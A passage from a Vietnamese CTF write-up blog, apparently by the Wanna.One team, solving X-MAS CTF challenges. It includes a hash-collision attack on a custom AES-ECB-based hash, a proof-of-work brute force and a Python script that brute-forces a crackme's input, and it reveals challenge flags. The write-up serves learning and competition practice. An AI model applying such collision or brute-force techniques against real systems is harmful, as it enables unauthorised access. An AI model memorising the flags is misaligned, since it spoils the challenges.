Dễ thấy 18 chính là kí tự khoảng trắng nên mình lần lên output ban đầu đề bài cho thì khoảng cách từ kí tự ’18’ cuối cùng đến hết là 33 kí tự. Trong khi đó maswasneverasgoodasitisthisyearj chỉ có 32 kí tự tức là đoạn này đã bị mất 1 kí tự theo như mình đã giải thích ở trên. Dò lại lần nữa thì mình thấy kí tự bị mất nằm ở vị trí đầu tiền của đoạn này. Thử các kiểu thì ‘x’ có vẻ hợp lí vì các kí tự sau nó là ‘mas’ và ở cuối đoạn mình thấy ‘j’ không hợp lí lắm và có thể đây là cuối đoạn nên kí tự đó là ‘.’ (dấu chấm) nên mình bỏ qua luôn.

Đem nộp thử thì may mắn là đúng flag 😀 😀 😀

flag: xmas**********

#Help a Santa helper

Mọi người có thể xem file đề ở đây.

Phân tích 1 chút thì đầu tiên server yếu cầu chúng ta tìm 1 đoạn hex X sao cho sha256(unhexlify(X))[-5:] = 5 kí tự ngẫu ngẫu nhiên nào đó.

Vì server không có timeout nên mình brute force để tìm.

Oke vậy là qua bước đầu tiên.

Tiếp theo ta có thể gửi 1 đoạn hex và server trả về cho ta hash của đoạn đó. Để có flag thì ta phải tìm được 2 đoạn hex sao cho kết quả sau khi hash chúng là giống nhau.

Ta thấy get_elem() là mã hóa AES-ECB với key là random và hash ban đầu của server là b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′

Gỉa sử chúng ta cần hash 1 đoạn b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′, thì:

hash = msg ^ get_elem(hash ^ msg)

hash= get_elem(msg)

hash=get_elem(b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′)

Oke tiếp theo chúng ta sẽ đi tìm đoạn hex khác nhưng hash nó giống như trên

Nếu như chúng ta hash 32 bytes(2 block) với giá trị là b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′+hash(b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′))

Sau khi tính toán với block đầu tiên thì hash=get_elem(b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′) như cách tính toán ở trên

Lúc này sẽ tính tiếp với block thứ 2:

hash = block2 ^ get_elem(hash ^ block2)

hash = block2 ^ get_elem( get_elem(block1) ^ block2)

hash=block2^get_elem(b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′)

hash=b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′

Lúc này hash đã về lại giá trị ban đầu khi chưa hash của nó ròi 😀

Vậy để hash = hash(b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′) thì ta chỉ cần thêm 1 block thứ 3 với giá trị là b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′

Tóm lại thì công việc ta cần làm là gửi 1 block msg=b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′ để lấy hash của nó, lúc này hash(msg)==hash(msg+hash(msg)+msg). Cuối cùng chỉ cần gửi lên server để lấy flag 😀

Re

#thou shall pass

Bước 1: Nhìn bao quát program's flow
 
Kết quả hàm main được decompile sử dụng ghidra tool

Nhìn vào hình trên ta sẽ thấy được luồng thực thi của chương trình khá trực quan và đơn giản, đầu tiên sẽ gọi một hàm gì đó thực thi, sau đó sẽ nhận input nhập từ user, qua một vài bước xử lí trước khi check với mảng dữ liệu cho trước

Bước 2: Check function được gọi đầu tiên
 
 
 
Chú ý: input của chúng ta lưu ở biến local_38 và có độ dài (0x1f - 1)
Bước 3: Viết một script python để bruteforce input
sol_thou_shall_pass.py
pre_data = [0xFB,0xD1,0x51,0x8A,0xEE,0x7E,0x54,0x69,0x9B,0x6F,0x77,0xB0,0x80,0xEE,0x70,0xc1,0x29,0x67,0x71,0xE4,0x9C,0xEA,0x72,0xED,0x93,0x5F,0x11,0xEA,0xA4,0x78]
input = ''
​
for i in range(0, 30):
	#func_00401310
	for ch in range(32, 127):
		ret1 = ch
		j = 0
		while j < 3:
			ret1 = ret1*2 | (ret1 >> 7)
			j+=1
		ret1 = ret1 & 0xff		#chỉ lấy byte cuối cùng để tính toán tiếp 
	#hfunc_00401256
		ret1 ^= (i+ 5)
	#func_004013c0
		k = 0
		while k < 2:
			tmp = ret1
			ret1 = ret1 >>1
			ret1 = ret1 | ((tmp&1)<<7)
			k+=1
​
	#check xem giá trị có bằng phần tử trong mảng cho trước hay không?
		if (ret1^10 == pre_data[i]):
			input+=chr(ch)
			break
​
print(input) 
​
-------------------------------------------------
X-MAS{N0is__g0_g3t_th3_points}
​
TIN LIÊN QUAN
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Tác giả: n3mo #calc.exe online source được cấp như sau, như thường lệ đối với mỗi bài có...
The Wanna.One team shares writeup of some solved Challenges with the purpose of academic exchanges. We always welcome and look forward to comments from any of you via email: wannaone.uit@gmail.com Bamboofox CTF( Sat, 16 Jan. 2021, 09:00 ICT — Mon, 18 Jan. 2021, 09:00 ICT) Re Author: phuonghoang This is...
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Tác giả: n3mo #HPNY Bài này cung cấp source code, ta thấy eval ở đây, tức là bài...